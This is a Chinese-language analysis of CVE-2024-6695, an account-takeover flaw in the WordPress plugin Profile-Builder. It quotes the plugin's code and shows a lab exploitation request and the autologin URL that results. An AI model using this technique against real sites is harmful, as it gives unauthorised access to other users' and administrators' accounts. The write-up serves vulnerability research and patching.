细说 wordpress插件 Profile-Builder - CVE-2024-6695分析
这是wordpress插件 Profile-Builder 的一个漏洞 有点类似早期的wordpress用户注册漏洞 具体来讲是因为判断时没有统一param来源 导致部分使用的trim后的数据 另一部分验证使用原始数据 分析漏洞成因 https://downloads.wordpress.org/plugin/profile-builder.3.11.8.zip front-end/default
这是wordpress插件 Profile-Builder 的一个漏洞 有点类似早期的wordpress用户注册漏洞 具体来讲是因为判断时没有统一param来源 导致部分使用的trim后的数据 另一部分验证使用原始数据
分析漏洞成因
https://downloads.wordpress.org/plugin/profile-builder.3.11.8.zip
front-end/default-fields/email/email.php:59
function wppb_check_email_value( $message, $field, $request_data, $form_location ){
global $wpdb;
if ( isset( $request_data['email'] ) ) {
$request_data['email'] = apply_filters('wppb_before_processing_email_from_forms', stripslashes( $request_data['email'] ) );
if ((isset($request_data['email']) && (trim($request_data['email']) == '')) && ($field['required'] == 'Yes'))
return wppb_required_field_error($field["field-title"]);
if (isset($request_data['email']) && !is_email(trim($request_data['email']))) {
return __('The email you entered is not a valid email address.', 'profile-builder');
}
...
$users = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->users} WHERE user_email = %s", $request_data['email']));
if (!empty($users)) {
if ($form_location == 'register')
return __('This email is already in use.', 'profile-builder') . '<br/>' . __('Please try a different one!', 'profile-builder');
可以看到前面使用的wp自带的is_mail去判断trim后的数据,而后面去数据库查询是否已经注册使用的是原生数据 这就导致了可以使用空格同时进入前后两条逻辑 从而进入到最后的注册成功逻辑
而注册成功之后有一个自动登录逻辑 根据后台设置是否自动登录(默认不自动登录)来进入对应的身份 而其本质是获取wpnonce
front-end/class-formbuilder.php:351
if( $this->args['form_type'] == 'register' ) {
...
// CHECK FOR REDIRECT
$redirect = $this->wppb_get_redirect( 'register', 'after_registration', $account_name, $user_role );
// using case-insensitive string comparison to allow for both 'Yes' and 'yes'
if( strcasecmp($this->args['login_after_register'], 'Yes') == 0 ) {
$redirect = $this->wppb_log_in_user( $this->args['redirect_url'], $redirect );
}
echo $form_message_tpl_start . wp_kses_post( $wppb_register_success_message ) . $form_message_tpl_end . $redirect; /* phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped */ /* properly escaped above */
ob_end_flush();
我们检查wppb_log_in_user
function wppb_log_in_user( $redirect, $redirect_old ) {
if( is_user_logged_in() ) {
return;
}
$wppb_general_settings = get_option( 'wppb_general_settings' );
if ( isset( $wppb_general_settings['emailConfirmation'] ) && ( $wppb_general_settings['emailConfirmation'] == 'yes' ) ) {
return $redirect_old;
}
/* get user id */
if( empty( $_POST['email'] ) )
return;
$user = get_user_by( 'email', trim( sanitize_email( $_POST['email'] ) ) );
if( !$user )
return;
$nonce = wp_create_nonce( 'autologin-'. $user->ID .'-'. (int)( time() / 60 ) );
可以关注到这里使用的get_user_by 也是经过处理的 sanitize_email( $_POST['email'] )
这就使得整个流程显然为: 注册前面带空格的邮箱 但是其实会注册失败 但是逻辑上认为其注册成功 然后通过get_user_by会查询到未带空格的邮箱 并进行自动登录
在wpscan的分析报告中 并未提到如何获取wpnonce 根据对代码的分析 wpnonce本质就是登录id的凭证
/* set action for automatic login after registration */
add_action( 'init', 'wppb_autologin_after_registration' );
function wppb_autologin_after_registration(){
if( isset( $_GET['autologin'] ) && isset( $_GET['uid'] ) && isset( $_REQUEST['_wpnonce'] ) ){
$uid = absint( $_GET['uid'] );
$arr_params = array( 'autologin', 'uid', '_wpnonce' );
$current_page_url = remove_query_arg( $arr_params, wppb_curpageurl() );
if ( ! ( wp_verify_nonce( sanitize_text_field( $_REQUEST['_wpnonce'] ) , 'autologin-'.$uid.'-'.(int)( time() / 60 ) ) || wp_verify_nonce( sanitize_text_field( $_REQUEST['_wpnonce'] ) , 'autologin-'.$uid.'-'.(int)( time() / 60 - 1 ) ) ) ){
wp_redirect( $current_page_url );
exit;
} else {
wp_set_auth_cookie( $uid );
wp_redirect( $current_page_url );
exit;
}
}
}
这行代码会在全局挂载
add_action( 'init', 'wppb_autologin_after_registration' );
这也就意味着_wpnonce是必须获取的 或者说 其实只要有_wpnonce 我们就可以直接登录 而获取_wpnonce的方式我们在全局里查询 并没有跟踪到其他地方的输出 这也就意味着后台的自动登录功能是必须开启的
漏洞利用
基于我们已经理解了漏洞的形成 我们可以直接在后台创建文章放入shortcode [wppb-register] 访问 此时的数据包类似如下 篇幅问题重点关注email部分
POST /2024/11/22/tttt/ HTTP/1.1
Host: 192.168.31.40
Connection: close
------WebKitFormBoundarymhHEju6xYKaPwrBh
Content-Disposition: form-data; name="email"
dada@dada.com
------WebKitFormBoundarymhHEju6xYKaPwrBh
Content-Disposition: form-data; name="website"
...
------WebKitFormBoundarymhHEju6xYKaPwrBh
Content-Disposition: form-data; name="_wp_http_referer"
/2024/11/22/tttt/
------WebKitFormBoundarymhHEju6xYKaPwrBh--
在后台成功登录之后 可以看到
3;url=http://192.168.31.40/2024/11/22/tttt/?autologin=true&uid=1&_wpnonce=7f0d2c68db
类似于这样的跳转路径 然后访问后台路径即可以对应的用户登录
关于限制和展望
漏洞的成因导致了其利用限制如下
- 需要有一个使用了注册shortcode的页面
- 后台需要开启自动登录
- 需要知道对应的邮箱
类似的漏洞 其实放开了讲 跟去年orange所述的“解析差异化”本质上是相同的 对于参数的验证标准没有统一 而这也是很多软件开发的时候 甚至是在使用多个组件组成系统的时候 其差异化 造成不同代码部分理解的不一致 而其实这也是rfc标准存在的意义